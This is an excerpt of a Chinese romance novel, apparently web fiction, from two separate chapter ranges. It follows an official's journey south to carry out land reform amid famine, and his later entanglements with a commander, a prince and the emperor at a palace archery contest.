尚书台的同僚们都来给唐青送行。 他面上始终含笑,耐心地与每个人话别。 离开的人还未惆怅,共事不久的同僚, 倒眼眶红热。 唐青拍了拍苏少游的肩膀, 想起第一日对方初见自己时流露的轻蔑之色, 不由低笑。 “我真走了, 再待下去怕要耽搁时辰。” 前方军马整装完毕, 韩擒一声令下, 唐青只好上了马车, 隔着车窗,与同僚挥手做别。 巍峨的城墙上,李显义望着从轩德殿赶来的帝王, 叹道:“皇上当真不见一见唐大人?” 方才唐青与尚书台众人的互动皆落进萧隽眼底,他道:“孤去了,只怕扫了他们的兴致。” 李显义道:“陛下何不私下相见,唐大人定会……” 萧隽瞥了近侍一眼, 想起唐青终日挂在嘴边的君臣之论, 心觉烦闷, 淡道:“罢了。” ** 已值热夏,往南几日,出了兖州地境。 沿途青山似翡,树影叠嶂,飞鸟绝迹,往襄州去的一支邺军队伍,转过岭头崖后, 面前山壁如鞘,从鞘顶飞落瀑泉, 水汽宛如洒开的雨水,给途径的人添增几分快意舒爽。 队伍中先行探路的将士归来,与韩擒通报。 确保方圆几里没有异动,四周水源无毒后,韩擒抬手一挥,示意人马在水源就近处原地休整。 负责伙食的将士很快拎着家伙去取水,韩擒牵引着缰绳扫了一圈周围,旋即夹紧马腹,驱马来到随军出行,外表朴素的一辆马车前。 唐青几人乔装成普通的商户人家随军出发,方便军队照顾,更能护他们途中安全。 韩擒道:“先生,我来送水。” 自离开邺都,在外,韩擒便与唐青这般称呼。 过了须臾,才听里头传来沙哑的一声“好”。 韩擒心口似被揪紧一般,连日赶路,尽管一再当心,可唐青还是在途中断断续续地生着病,总不见好。 兰香掀开车帘一角,接过韩擒递的水囊,而后从后箱行李取出口小锅,手脚利索地用石头就地搭个小灶,开始烧水。 唐青透过敞开的车帘,向韩擒微微牵出抹笑意。 他哑声道:“秀莽兄替我瞧过,只是水土不服引起的不适,再过一阵,等适应就能慢慢恢复了。” 李秀莽在另一辆马车里,借着原地修整,也开始煎药,药煎好了是给唐青服用的。 适才那几名去水源地取水回来的伙食军,也捣鼓出几口大锅烧水。 唐青随军出行,第一日就发现将士们习惯喝生水。 他吩咐兰香烧水喝时,瞧见此举的将士还觉奇怪,特意问了一嘴。 兰香性子开朗,笑吟吟地回了将士的话,回什么“我家先生说了,饮生水肚子里很容易生虫,会生病”。 当时将士话从耳旁过,没当回事,只觉马车里头的大人娇贵。 可当话传到大统领那儿,统领居然亲自打马上前询问。 唐青告诉韩擒,自然之水表面上看起来清透干净,可水源接触万物,受腐叶、虫卵、粪便等诸多影响,长久喝生水极易致使人感染痢疾,或体内滋养寄生虫,突发肠胃炎,高热不退,腹痛难忍等病症,轻则耽误行事,重则丧失性命。 在古代,医疗资源紧缺,寻常人生个病,发烧感冒都有较大的几率死亡,而行军打仗的将士,更需要注意身体状况,保持体魄康健。 自那天起,韩擒就命火头军每日把水烧开,分给将士们饮用。 他治下军纪严明,尽管一众将士有着许多不解,可军令如山,遵守就是了。叫他们喝烧过的开水,总比绑上重重的沙袋习武跑圈来得简单。 兰香烧好水,盛着放温后再倒入水囊。 不久,李秀莽端来煮好的药,唐青望着面前的青山轻叹,面不改色地将其服下。 韩擒只能陪唐青片刻,待看着李秀莽拿上药碗离开,方才策马到前方整集队伍。 ** 又过十日,从陇州地界穿过,来到齐州。 刚过齐州边境的县城,便看到乡野农地间,似是几口农户,沿着树底下刨挖根皮。 在路牙子上抱着树根等候的孩子,瞧见行经的军队,目光怯怯的,可他摸了摸肚子,又回头瞅着爹娘,忽然鼓起这辈子都不曾有过的勇气,迈开软趴趴的腿,横着草鞋站于路中央,抖如筛糠。 将士被迫牵着僵绳勒令马匹停下,大声呵斥:“你这小孩,杵在路中央挡道作甚,不想活啦?” 小孩被如此洪亮的嗓门一吼,抱在手里的树根都吓掉了,腿脚软软地直挺挺跪下。 在收割树根的农户夫妇瞧见自家孩子竟然拦了官爷的道,吓得魂飞魄散,忙上前扯着把孩子拖回路牙边,连连磕头。 “官爷们饶命,孩子不懂事,冲撞了各位官老爷,求求各位官爷饶了小的们一命吧——” 事发之地就在马车前不远,兰香撩开车帘探查,嘟囔开口:“先生,是一户农家的小孩拦道。” 唐青:“好端端的,拦路作甚。” 兰香:“那小孩抱了一捆树皮,瘦不伶仃的……” 想起往事,小姑娘掩下双眸,道:“先生,兰香知小孩为何拦路,定是饿极了,见着官兵,才想恳求官兵发发善心。” 唐青顺着动静朝外看,果真见到那户农家,小孩子眼大头小,露出的胳膊只剩一把骨头。 他幽幽轻叹,这会儿韩擒已去解决,将士收起训斥,递了一袋馒头给小孩。 重新启程,就要经过那户农家时,唐青道:“兰香,拿点银子给他们吧,切记不要给太多。” 兰香及时反应过来,从车帘探身,抛出好几块碎钱给他们。 瞧见农户和小孩连忙跪地磕头,兰香心下不忍,酸涩道:“先生,兰香可以用自己的月钱送给他们吗。” 唐青待兰香不薄,她虽以奴婢自处,可唐青当她做妹妹,每月所给月钱,比宫内一等宫女所得只多不少。 唐青揉了揉眉心:“给了他们些许干粮和银钱,足够支撑一段时日。” 又道:“往后,遇到这样情况的人只多不少,咱们能帮到几时,终归是治标不治本,要让寻常人过上能吃饭的日子,唯有……” 唯有把田地变革顺利实施,争取落实到大邺每一处角落,让人人都有田地耕种,有粮食收取。 他看着神情难过的兰香:“且给他们太多银子,反而容易招去祸端,这世道,劫掠钱财谋害人命的事见得难道还少么。” 兰香低头搅动手指:“先生说的是,兰香考虑不周,以后定会注意的。” 唐青倚回靠枕,又变得昏昏沉沉,因着起来的药效又睡了过去。 ** 此后几日,就如唐青所言,见到的灾民只多不少。 他们纷纷向军队求助,韩擒深知救得了一时救不了一世,若原地停留只会引来更多的人围堵,便命令所有人照常前行,不得停下耽搁。 李秀莽送了药来,唐青无奈浅笑。 李秀莽道:“最后一剂,这几日先好好休养,等身子稳定,就无需再喝。” 唐青羞愧:“这些日子辛苦你了,路途奔波,还要为难你照顾我。” 兰香附和道:“煎药这等活儿可以交给奴婢来做。” 李秀莽:“无妨。” 不止唐青,随行的将士偶有些水土不服引发病症的,李秀莽都一并准备了药。 兰香努努嘴:“可兰香瞧见,那些药都分给将士让他们自个儿去煎,唯独给咱家先生……” 气氛无端安静,兰香直觉好像说了什么不合时宜的话,且背后袭来凉意,转过头张望,只见大统领策马停在窗外,适才那番无心的话,叫对方听了去。 唐青朝窗外的人微微点头:“统领。” 韩擒道:“来看看先生。” 说罢,似乎只为来看他一眼,便又策马去了后方。 但只此一眼,却表露出韩擒与唐青心照不宣的默契,李秀莽沉默打量,笑了笑。 * 当夜,军队驻在湖边扎营。 可用水源充沛,兰香便烧了两锅水,兑些凉的到热水里,温度适中,可以用来简单擦洗身子。 唐青稍微洗了洗,换身宽松舒服的圆领束腰浅白布袍,青丝微湿,垂散于肩后,便坐在车前,吹着静谧的夜风,视线眺向不远处泛着粼粼银光的湖面。 “先生。” 唐青侧首,树影下韩擒的轮廓逐渐清晰。 唐青看着对方:“何事。” 韩擒:“可想去湖边走一走,等会儿送你回来。” 唐青想道此举怕有不妥,可想了想,他本来就非那循规蹈矩的性子,而且对上韩擒专注问询的目光,很难拒绝。 索性点头,道:“我和兰香说一声,省得她担心。” 待事情都交代完毕,唐青跟着韩擒前往湖岸。 ** 荒郊野岭,月色下的湖光与皇宫里的那面湖有所不同。 湖波无澜,水面上蔓延一层浅淡渺茫的烟雾,清风徐徐,雾气荡开,湖水就如浸在月色里中,波光沉静,于此野林绽现,宛若巨大的宝石。 唐青静览湖光月色,他着了白色素衣,月华似也偏爱着他。 华光恰到好处的点缀在他垂落的漆稠发缕间,青年的脸庞、衣摆、甚至抬手时,连指尖也正好携了一抹莹芒月华。 韩擒不动声色,心神却聚于他身上。 唐青抬起的手挥了挥,宽松的袖口旋成一朵花似的。 “有蚊虫。” 他腰间配有药囊,可驱虫避蚊,一路上虽没被叮咬,可耳边响起嗡鸣的动静,实在有点煞风景。 韩擒从怀里取出火折子,点燃蜡烛,替他挥赶。 唐青眸光一定,忽然轻轻握上韩擒拿蜡烛的手,道:“韩擒,你被叮了几口,起包了。” 韩擒手腕震动,险些握不住蜡烛。 轻覆在掌心的那只手软滑得不可思议,指腹有些常年执笔留下的薄茧,触刮着他,叫韩擒僵在原地。 他常年习武,定力非凡,莫说蚊虫叮咬,就是挨上几刀,亦能面色自如。 唐青问:“不痒么?” 韩擒动了动唇,半个字也挤不出,气息滞于胸膛之间,有些粗急,浑身烫得不行。 唐青把腰侧的两个香囊取下其中一个,递了过去。 “这是艾草包,你带着吧,防蚊。” 又问:“韩擒,你们是不是都没有驱蚊意识?觉得自己身体素质强壮,叮咬几口,忍一忍就过去了。” 韩擒低声道:“无妨的。” 唐青叹息:“我们先回去吧,此地风光固然很好,却不宜久留。” 他便走边说道:“出行在外,防蚊工作不能忽视。尤其你们行军打仗,若军队中有人感染恶疾,随着蚊虫叮咬,极有可能将疾病在人群里大面积蔓延传染,届时若造成难以挽回的局面,也无法改变了。” 韩擒专注望着唐青的背影,低低“嗯”了声。 唐青知对方已听进心里,忽然停步,头也不回地问:“统领为何如此信任我?怎么说什么你都听。” 又道:“我在宫内,倒听过不少关于统领的事迹,譬如七擒单和邪,夜袭魂都谷,火攻土喀堡。” 韩擒早年随君,骁勇善战,立下许多功劳,更从龙之功,就算封个侯拜个将,并不相违。 可他却从不锋芒现露,留在皇宫当个禁军统领,紧要关头时才出鞘刃,进退始终有度,对君主赤胆忠诚。 年岁虽才过二十五,却已有一代名臣风范,假以时日,定会青史留名,为后人相传。 韩擒在黑夜里顿了顿,耳廓更热了。 素日里听到宫人们私下议论自己,无甚波动,可这样的话从唐青口中出来,他却心如鼓擂,比在幽州北境响起的战鼓跳得还要剧烈。 “我信先生。” 唐青:“……就这四个字?” 韩擒:“嗯。” 唐青哭笑不得,言简意赅,倒是对方的作风。 他道:“韩擒,你脸红了。” 烛光都掩不住的红。 韩擒掌风欲起,想把蜡烛熄灭,可又怕唐青看不着路,硬生生忍了回去。 第030章 第 30 章 行经齐州, 正如唐青所言,那一家苦于生计的农户,于这并不安稳的世道中, 既非第一户, 也非最后一户。 齐州境内, 郡城里的百姓尚可勉强每日裹腹, 可城中能够安置的人数有限, 绝大部分人分散在各个县乡里。 他们只能替地主乡绅干活, 换取定量的粮食, 或租赁田地,终日守着地。 唐青和李秀莽中途与军队分开片刻,两人延田垄走, 见到几家租了田的农户正在劳坐。 唐青停下,隔着半亩田的距离,窥见农户们满目愁容,遂问询缘由。 那农户道:“公子是哪里人士。” 唐青声色温和。 “我与兄弟从陇州而来, 做些小本生意, 原以为到了齐州可施展一番抱负, 却见居住在齐州境内的当地百姓们似有心事,一路所见皆愁云惨淡。” 旁的妇人道:“这世道谁高兴得起来?眼看就快到壮月了,今年的收成还不知能有多少,而今家中愁着田税能不能按时交上,交完了可还有余成的粮食填肚子。” 除了跟地主上交的田税,给官府交的苛捐杂税,亦得一样不少。 这年头才安定下来多久?连年不减的征收税赋压得百姓喘不过气, 没觉得当今年头比战乱的那些年舒服多少。 唐青与李秀莽对视,道谢之后, 默然离开。 他们继续沿着乡道徐行,唐青语气低缓:“自出了兖州,陇州境内还好些。从齐州到襄州,咱们需得做好心理准备,只怕情况会越来越不安稳。” 不禁感慨:“苛税猛于虎啊。” 他们此行便为改革,近些日子数次如这般走到百姓中,核实查探真实的具体情况,回去后加以记录。 唐青擅用行文陈述,李秀莽有一手令人喟叹的丹青之术,是以他写,对方稍着小画,图文并茂,已记载小半本卷册。 两人在马车内伏案忙碌半日,唐青落下最后一笔,顿觉手腕酸胀。笔尖方落,被李秀莽眼疾手快地握稳。 唐青凝神,浅笑道:“多谢。” 李秀莽松了手,观唐青面色有些虚白,蹙眉道:“大人先歇息,往后的时日还长,何必勉力透支身子。” 他说着就要下车:“我去为大人备点药。” 唐青揉着手腕:“有劳尚书郎。” 守在外头的兰香立刻端了盘吃食进来。 “先生,这些米糕是兰香从方才经过的镇子上,跟一户地主家买的,您垫垫肚子。” 一番精力耗损,唐青体力和精神已然不支, 夹起米糕缓慢食用,待补充体力,精神跟着有了些许好转。 车壁外响起道低沉的问候。 “先生。” 唐青撩开帘子,嘴里还咬着半块米糕。 他垂眸,吃完后才回应韩擒,道:“统领。” 韩擒目中流露关切:“身子可还好。” 唐青眉眼微弯:“无妨,只是忙过了时辰,尝几块米糕精神好了不少。” 兰香左右瞧瞧,从宫内到宫外,再瞧不出些耐人寻味的意思就是犯蠢了。 便笑道:“先生,方才奴婢要下镇买米糕,还是大统领遣护卫送奴婢过去的。” 唐青眼中笑意流荡:“还是统领考虑周到,兰香给你们添麻烦了。” 韩擒微微摇头,目光停在青年的面庞,在失态前牵动麻绳,喉结滚了滚:“我到前方探路,先生好好休息。” 兰香道:“大统领放心,奴婢定然尽力照顾好先生的。” 待韩擒策马去了前方,唐青放下竹筷,禁不住叹笑。 “兰香,你何时变成统领府上的丫鬟了,怎么什么都与统领汇报?” 兰香含糊应答,垂首乖乖道:“今后不会擅作主张了。” 唐青:“我并非责怪你。” 兰香点点头,一双漆黑透亮的杏眼睁得圆溜。 “兰香明白,可适才却为兰香的不是。” 她抬起右手做了个立誓的姿势:“这辈子,兰香只先生一个主子,无论先生今后与何人……兰香待那人决不不会如待先生这般。” 唐青从现代而来,过去并不信奉神明,可一遭穿越,对这些事神鬼之事便起了敬畏。 他道:“不要轻易起誓,有你的这份心就够了。” 二人叙着闲话,直到唐青把李秀莽送来的药服尽,在药效的催促下,方才昏昏沉沉地睡了一觉。 觉不安稳,醒时车外暮色昏暗,正值傍晚,下了一场夏日骤雨。 官道四周的树群纷纷摇响,唐青让兰香把帘子扯开些,凉丝丝的水汽沁拂肌肤,顷刻间使得他精神几分。 兰香道:“将士在外头支了帐子,一会儿奴婢去借地生火,把晚饭做了。” 许是乐极生悲,唐青才感受间刻这场苦夏骤雨的清凉,当天夜里还没睡下多久,人便发起烧热。 韩擒巡值经过,特意留神,敏锐听到唐青沙哑浅短的梦呓,曲指敲了敲车门,兰香睡眼惺忪地拉开。 “大统领?” 韩擒借着火把的光线,将躺在里头的人看了个模糊的轮廓。 “他不舒服。” 兰香一个哆嗦,立刻回了睡榻,伸手摸去,先生素日里微凉的肌肤果然正在发烫。 韩擒吩咐旁边的部下:“去把李秀莽请来。” * 炎夏夜,骤雨磅礴。 无边的黑暗中,韩擒抱起唐青,把人转移到自己的帐下。 帐篷比马车宽敞,韩擒怀里抱着人,吩咐兰香把临搭的睡榻垫得再高些。 兰香不好耽搁,手脚轻快,还多扑了层先生日常睡的凉褥上去。 韩擒刚把唐青小心诊视地放入睡榻,李秀莽就赶来了。 兰香轻喊:“麻烦看看我家先生。” 话音方落,却发现自己挤不到榻边。 床榻只容一人休息,右侧站着大统领,左侧则是给先生诊脉的尚书郎。 两个高大男人的身躯将睡榻上的先生完全挡住,无一处容旁人下脚。 她挠挠脑门,自觉走到帐子门口等候。 片刻,韩擒沉声问:“如何。” 李秀莽:“长途行路,积劳成疾,心力有些憔悴。虽每日在车内休息,可时下晴雨交替,总归让他的身子吃不消,只能尽力调理,等到了梧郡落脚,寻个安稳之处,方才便于恢复。” ** 往后几日,探访的活就落在李秀莽和随行的几人身上,唐青白天在马车养神,夜晚,韩擒接他入帐,三四日过去,烧热方才缓退。 已入襄州地界,所见流民越来越多。 一路所见,使得唐青沉默的时间渐渐变长。 他心知仅凭个人的能力没办法拯救那么多的人,而他也没有肩负苍生的使命。 可每当自己置身其境时,薄薄胸腔下跳动的那颗心,总是不由揪紧,感同身受的共情能力使得他并不好受。 韩擒看出他所想,想握住他的手给予安抚,衡量再三,始终没握去。 “先生,且放宽心。” 唐青捏了捏眉心:“好。” * 这日,竟有流民上了官道。 韩擒正在带领将士驱散挡路的难民,唐青欲下车,兰香忙上前阻拦。 “先生,您身子还没完全恢复,外头污秽之气太重,万一……” 唐青摇摇头,道:“无妨。” 想了想,吩咐:“给我寻顶帷帽。” 带了帷帽,唐青掩去面容。 流民们闹哄哄,不拿到粮食不愿意走。 将士已亮出刀刃,人群中顿时颤颤巍巍,喊道:“官老爷要杀人啦——” 唐青往前走,隔绝在人群后头。 “大家稍安勿躁。” 他的声音并不激昂,只这一道温润,似林间清风,神奇地叫众人停止闹动。 唐青道:“来的人,都是些平民百姓,若非走投无路,何苦背井离乡,得罪官爷?” 他微微一笑,又道:“大伙儿有所不知,将士们沿途所需难民不知几何,能发的粮食已经分发完毕。” 看着人群中又要躁动,他绕过将士,示意韩擒不必跟着他,停在一家老小四人的流民面前。 “你们从何处来?” 那面容倦瘦的妇人道:“公子,咱们从梧郡走过来的。” 唐青:“梧郡啊……” 继而徐缓开口:“若你们信我,这下便返回梧郡吧,不日以后,当地百姓都会重新分到田地,无需再为生存到处辗转。” 妇人道:“俺们没钱租地啊……” 唐青同她保证:“田是上头授给大伙儿的,无需跟地主租赁。” 他观望四周:“如果大伙儿信唐某,都回家吧,会有转机的。” 妇人怀里孩子问:“仙人,您是官老爷吗?是来拯救我们的仙人?” 唐青看着面黄肌瘦的小孩,摸了摸她的头发,再摸摸她的手,对妇人道:“刀剑无眼,得罪官场总会吃亏,伤到小孩就得不偿失了,带着孩子先回梧郡等侯。” 妇人一家先动摇,四口人离开。 渐渐的,旁的流民也都散走。 最先离开的那户人家,女孩摊开手心,道:“娘,这是方才那位仙人给的。” 妇人忙把碎银收好,左右瞧了瞧,道:“咱们回梧郡,那位公子……说的或许都是真话。” ** 这场意外落幕,韩擒跟着唐青,送他回马车。 “先生令人佩服,只三言两句,不费吹灰之力就把混乱的局势顺利解决。” 唐青道:“将心比心,知晓他们想要什么,事情便好办许多。” 何况并不是口说无凭,他这次来,就是要解决问题。 如此一想,唐青觉得压在肩膀的担子,压力更重了。 起初他奉皇命,为自保,来梧郡做事。 可随途中所见,此刻真心想为百姓们做点有用的实事。 又过几日,唐青将要抵达梧郡。 而他与韩擒需得分别,对方要去广平县。 广平县地处襄州最南,与东溟国比邻,是大邺驻扎在东南的一道国门,与幽州最北境地的军镇遥遥相望。 整个广平县作为水师驻扎地,把守严格,闲杂人等不得靠近。 唐青在林间与韩擒话别,他正欲回去,韩擒低声唤他:“先生,待顺利协助完水师总督,我会尽快赶来梧郡。” 到时候,就可以一直留在他身边守着护着。 唐青笑笑,端量韩擒神色严谨,忽然上前,伸手抱了一下。 “别光说我,广平县近来不安宁,频遭东溟滋扰,你自己也要小心。” 韩擒错愕,随即收紧臂膀,小心拥捧着怀里的这份来之不易的柔软。 “先生,我会回来的。” 唐青:“好,我等你。” ** 唐青走出树林,碰上等候的李秀莽。 他问:“一直守在这儿?” 李秀莽深邃平和的五官波澜无惊。 “大人,下官什么也没看到。” 纵使看到,也不会传出去。 唐青立刻明白,对方已经看到了。 他微微点头:“多谢。” 60-70 第061章 第 61 章 尚书台前阶覆了一层雪白, 萧亭率先登阶,目光停落在唐青身上。 微微提起斗篷拾步上阶的青年专注盯着脚底的路,许是一路走来过于认真, 叫他耗费几番体力。 唐青适才白如脂玉的双颊爬上薄微的红云, 鼻尖亦被冻出一抹鲜艳的绯色, 犹如点缀在冰枝的一苞红梅瓣。 萧亭目光放得温和, 伸手扶了唐青一把, 将他顺利带上台阶。 唐青诧异抬眸, 继而不自在地移开和对方交接的视线。 “多谢王爷。” 他们二人都未提马车的事, 却又心知肚明,默契地隐瞒。 只是唐青到底没有萧亭来的平静如常,不禁放轻声音, 稍作迟疑,道:“王爷,昨日……” 萧亭看着他:“若叫唐侍郎不自在,当时便没有发生任何。” 如此, 唐青也松了口气。 他看萧亭端方高洁, 暗暗定下心绪:“谢王爷体谅, 也谢王爷的救命恩情。” 马车内的事,之后回想起来虽叫他窘迫难忘,但更惊出一身冷汗。 以他当时那副状态,如果不是对方把他带走,浑浑噩噩丧失自我的唐青还不知要躺在街头露出何种丑态。 若叫有心人带走,后果不敢设想。 萧亭道:“唐侍郎平安就好,莫要将本王当成洪水野兽避开。” 唐青久违地心虚, 又觉此话甚为耳熟,好像听过。 二人一前一后步入尚书台, 在一楼整理文卷的苏少游连忙迎到门前行礼,萧亭示意他们不必拘谨,而后独自前往二楼,与寇广陵商议公事去了。 苏少游默默目送,接着狐疑:“唐侍郎,你怎与王爷走得这般近了?” 看情况,竟似王爷送唐青上来? 他素日与唐青在尚书台办公,之前可从没见过王爷。 唐青随意找了个由头糊弄,道:“王爷秉性宽和,适才见我在途中险些滑倒,扶了一把。” 苏少游端详他的脸,忖道:生成这般,莫说扶一把,上刀山下火海都人心甘情愿罢。 倏地,又跑上三楼寻了李秀莽,暗示他要有点危机感。 李秀莽停下查阅卷宗的动作,喉间涌出些微苦涩,道:“我与大人已无可能。” 苏少游:“啊……” 李秀莽不欲多言,把目光集中在卷宗内容上,以此转移心力。 不久,唐青被召去二楼。 萧亭,寇广陵同唐青三人商议冀州边贸的细则条例,在实施想法和共同目标上,几人意见达成一致,具体的地方情况,唐青和寇广陵则向萧亭探知,结合实际,当场又做了部分细则调整。 一忙就过去几个时辰,唐青昨日中药受惊,加之半夜生病,经此高强度集中精力商讨边贸政策,大冬天的,竟累出浑身冷汗。 他眼前蓦然陷入一片黑沉沉的深渊,耳旁的声音愈加遥远,似落于坚硬温暖的地方,之后就什么也听不见了。 * 再睁眼,唐青躺在尚书台的休息榻间,从医署过来的刘执正在为他诊脉。 身边,从左向右,依次围着萧亭,寇广陵,李秀莽,苏少游,几人竟将面前的光线都挡了去。 见他清醒,几道落在他身上的目光都有了变化。 苏少游率先开口:“可算醒了,今儿身子不适,怎地还带病过来。” 寇广陵道:“这段日子累着你了,等会儿差人送你回府,事情方才已商议得差不多,余下的交给我们就行。” 萧亭对他笑笑:“唐侍郎理当注意身子。” 李秀莽侧目看了眼萧亭的身影,道:“下官送唐大人出宫。” 几人一言一语,倒忘了询问唐青的意愿。 他道:“回王爷,寇大人,下官哪都不去,待到了散值的时辰,自然离开。” 时下落着雪,一时片刻势头不会减小,出行不便,如此,面前几人便不再勉强,唐青抬眸,撞见萧亭的目光,捕捉到一丝怜惜,心口紧了紧,不由瞥开眸子。 寇广陵道:“唐侍郎需要静养,咱们先出去吧。” 待四周再度安静,唐青见刘执太医望着自己,笑道:“又麻烦您了。” 刘执太医:“侍郎哪里的话,只是老夫有一言需和侍郎坦白。” 唐青:“何事?” 刘执太医道:“侍郎身子先天虚弱,而今频繁积累小病,不该长期劳累,否则容易引发心疾。” 也就唐青仗着还年轻,一味地糟蹋身子骨,等年纪上去了,可就没有如今调理得快了。 唐青沉静,须臾后开口:“多谢太医指点,我会注意的。” 送走刘执,他靠在榻前,握着一卷落下的文书翻了几页,旋即放在案上,阖眼靠了片刻。 门帘传来动静,李秀莽送了碗暖汤,细心吹去浮起的热气,道:“喝些。” 唐青问:“寇大人还在与王爷议事?” 李秀莽看着他一口一口喝汤,眉如温润精致的远山之黛,纵使已被他拒绝心意,可能留在身边照顾这个人,便从心间溢出莫名的甜意来。 唐青接过李秀莽递给他的巾帕,擦拭唇角,静静打量对方,言谢的话再多说几遍就显得太客气了,只能看着,诉说他的感激。 李秀莽道:“不日宫内会举办转龙射箭活动,届时热闹起来,也可借机放松。” 唐青:“转龙射箭?” 李秀莽便与他耐心介绍。 此为宫内冬日常见的一项活动,文武百官节皆可参与,其中,上等,乙等,三等都能得到皇上亲自嘉赏,而未能获得名次的官员,亦有奖励。 大邺崇尚武力,每年都会举办狩猎,骑射,蹴球,武斗诸多活动,亦借此机会一展百官英姿。 唐青听得有趣,打算过几日凑场热闹。 * 从尚书台回去后,兰香一日三顿熬着汤水给他补养身子,到了冬日活动当天,唐青气色红润,眼底似要溢出流转明丽的光彩。 就如李秀莽所言,参与转龙射箭的官员众多,连大部分文官都报名了。 君子六艺,俱有骑射,在大邺重武的环境下,即使文官,骑射之术也练得相当不错。 众官员身着干练骑装,目光熠熠,与素日广袖朝服的模样变化了几分气质。 尚书台内除了寇广陵,其他几名同僚也都参加。 唐青寻到他们,与几人寒暄一会儿,一道目光落在身后,侧首回眸,便与韩擒隔着人群遥遥相望。 那人目光漆漆沉沉,带着克制的眷恋,就如最初,把所有情绪都放在心里,目光及他,才泄露几分。 唐青低头,在他前方不远,萧亭着玄色金纹斓袍,视线停留,与他微微露出点笑。 转龙射箭比赛开始,二十名官员骑马持弓围绕高塔疾驰,激烈的比试引的四周无比喧腾。 唐青走到人群之外远远观望,遥见萧隽在高位入席,便前往一座搭建的木塔侧方,欲寻个地安静呆会儿,方才转身,差点撞到来人。 韩擒还未上场,借此间隙,忍不住来见唐青。 唐青:“你——” 韩擒道:“前几日管事在铺子遇到兰香,便向她探听先生的消息,身子如今才好转,莫要在外头受了冷风。” 唐青垂眸:“我明白,统领不必这般。” 见他欲走,韩擒目光一痛,忽然牵过他的手腕,单手一抄,劲衣箭袖包裹的手臂从斗篷下穿过,侧身抱着唐青。 “先生,我有话想跟你说。” 唐青浑身僵硬,抵开韩擒的手,声音不大,却坚定地推拒着:“统领,你越界了。” 韩擒未施力道,唐青轻轻一推,便把他的手臂拿开。 “阿擒,你别忘了这里是皇宫,我们已经分开,若叫人瞧见,旁人会如何非议?” 他撂下话匆忙就走,只见前方与其他官员叙谈的萧亭打发走身边的人,朝他走来。 唐青顿了顿:“下官见过王爷。” 萧亭道:“韩擒纠缠你?” 唐青:“……回王爷,此乃下官私事,不便告知。” 萧亭已经知道唐青与韩擒有过一段情,但两人已分开,方才韩擒痴缠着他,这等举止可谓少见。 两人前后步行,前方热闹中忽然爆发出一身惊呼,却见众人争抢的球花高高抛起,往他们的方向飞速砸来。 萧亭几乎瞬间打横抱起唐青跃身旋出几丈之外,那掉落的球花,在雪地中砸出个坑。 围观比赛的官员顺着球花飞出的方向回头,就见冀襄王怀里横抱着唐侍郎站在人群最外围,一黑一白的两道身姿紧密相拥,二人容貌气度不凡,委实惹眼。 唐青惊愕,萧亭则低头检查他可有受伤。 出格的场面叫唐青万般为难,欲从萧亭怀里下去。 “……王爷,还请松开下官。” 萧亭走到平坦的地方,把他放稳。 几步之外的韩擒目光震颤,落寞,他下意识靠近,唐青瞥开头,却对上遥遥射来的、如冰却灼人的目光。 李显义穿过人群赶来:“唐侍郎,皇上召你过去。” 唐青遵照旨意来到席位前,还未开口,萧隽示意他坐下。 右侧席位距离萧隽很近,借着广宽的袖口遮掩,萧隽五指如钩,握紧唐青的左手裹在掌心内,恨不得捏碎,又舍不得把这份柔软弄坏。 他几乎咬紧后齿,面色却看不出波澜。 “孤倒不知,唐卿何时招惹了皇叔。” 第062章 第 62 章 比赛中央人声鼎沸, 偏偏唐青清楚地听到落在耳边的低沉质问。 他忘记动抽出那只被紧握的手,一时间竟觉有些好笑和无奈。 正欲开口,迎上一双涌出细微落寞的狭长眉目, 到了嘴边的话, 化为一声叹息。 “陛下, 臣与王爷俱为正常往来, 何算招惹?” 且不论, 要追溯到机缘的话, 还是萧隽将冀襄王引荐给他。 若是寻常人, 他定要笑问自己与谁人往来,对方何以干涉? 可这人是萧隽,他只剩下了保管自己一颗真心的权利。 唐青瞥眸, 平静道:“陛下莫要再说这般叫臣为难的话了。” 萧隽面上纹丝不动,紧扣他的五指却蓦地松开。 “唐卿,孤不逼你,可你的心, 好好留着, 莫要给了任何人。” 唐青好笑不已, 最终还是道了一句:“陛下何不管管自己的心,臣说过,请不要在臣身上浪费时间。” 本以为萧隽会满脸怒容,可他只挑起长眉,多看了唐青一眼,也不知怎么,没就此事继续说下去。 君臣之间默默无言, 良久,前方有官员射中球花。 周围爆出喝彩的瞬间, 才听萧隽道:“孤不想看你同别的男子亲近。” 唐青未置一词。 萧隽没办法了,宽袍袖摆下的五指又如鹰爪,对准那只手紧扣,化为一场硝烟无形的对抗。 无论征战还是国政,他皆可运筹帷幄,成算在心,无奈对唐青毫无用处。 当唐青告诉自己,纵为天下君王,得了他的身子也妄想得到他的心时,萧隽那些决胜千里的计策变得无计可施。 他想要唐青的一颗心,要对方过去倾注在韩擒身上的眼神,可这人知道他想要什么,却一丝一毫也不给。 掌心裹紧的手并未挣扎半分,就算如此温顺,也叫萧隽心底发冷,好似握着一缕渺渺烟雾,轻轻地随风飘远。 待韩擒上场,策马疾奔,风掣雷行间,一道长箭破空击去,三座塔门上份量颇重的三个球花竟被接连射穿,钉在塔柱上。 四周响起起伏跌宕的叫好,唐青亦看得目不转睛,被激出些许久违的血气来。 萧隽将他的神情捕捉在眼底,窥见那双美丽潋滟的眸子闪过欣赏和期许,无端心闷,忍而不发。 “唐卿若想学,孤可亲自传授。” 想起曾经练习骑马时那段不算好的回忆,唐青道:“臣资质愚钝,驭不得马。” 萧隽:“……孤教你射箭。” 唐青:“弓弩沉重,臣恐也无力应对。” 萧隽道:“年时西北名匠献来一把云雀弩,此弩精密细巧,拿在手中犹如云雀,佐以巧劲,可将利矢射穿臂粗树干,卿可一试。” 萧隽天生神力,与那把裂天弓浑成一体,何须此等秀气小巧的弓弩。 一旁的李显义听得内心百感交集。 陛下有此心意,只为了讨唐青一份欢心。 那把云雀弩,本该作为上元节之礼送到唐青手中,奈何幽州至邺都的官道经大雪冰封,耽搁了一段日子。 而今借机会把弓弩送出去,唯独李显义知情。 唐青适才与萧隽一番口舌,已属违逆,这会儿再拒绝,那便是不知好歹了。 他言谢皇恩收下,而前方的比试,告了一段落。 韩擒把击落的球花交给球判核算,他视线投向高席,见唐青坐在皇上侧方,目光摇动,下了份决定。 今日除了转龙射箭比试,场上的百官还能与其指定的官员交换技能,以此促进同僚之谊,相互切磋。 转龙射箭上被判为优等的参与者可以主动选取目标,过去韩擒一向不掺和此事。 这场比试以韩擒击落球花数目最多结束。 下一轮,只听场上扬起笑声,萧亭命侍卫给他送一把趁手的弓,道:“韩统领果真技艺超群,本王也欲试试。” 百官更为振奋,围着萧亭雀跃合掌,说道:“王爷当真直爽利落!” 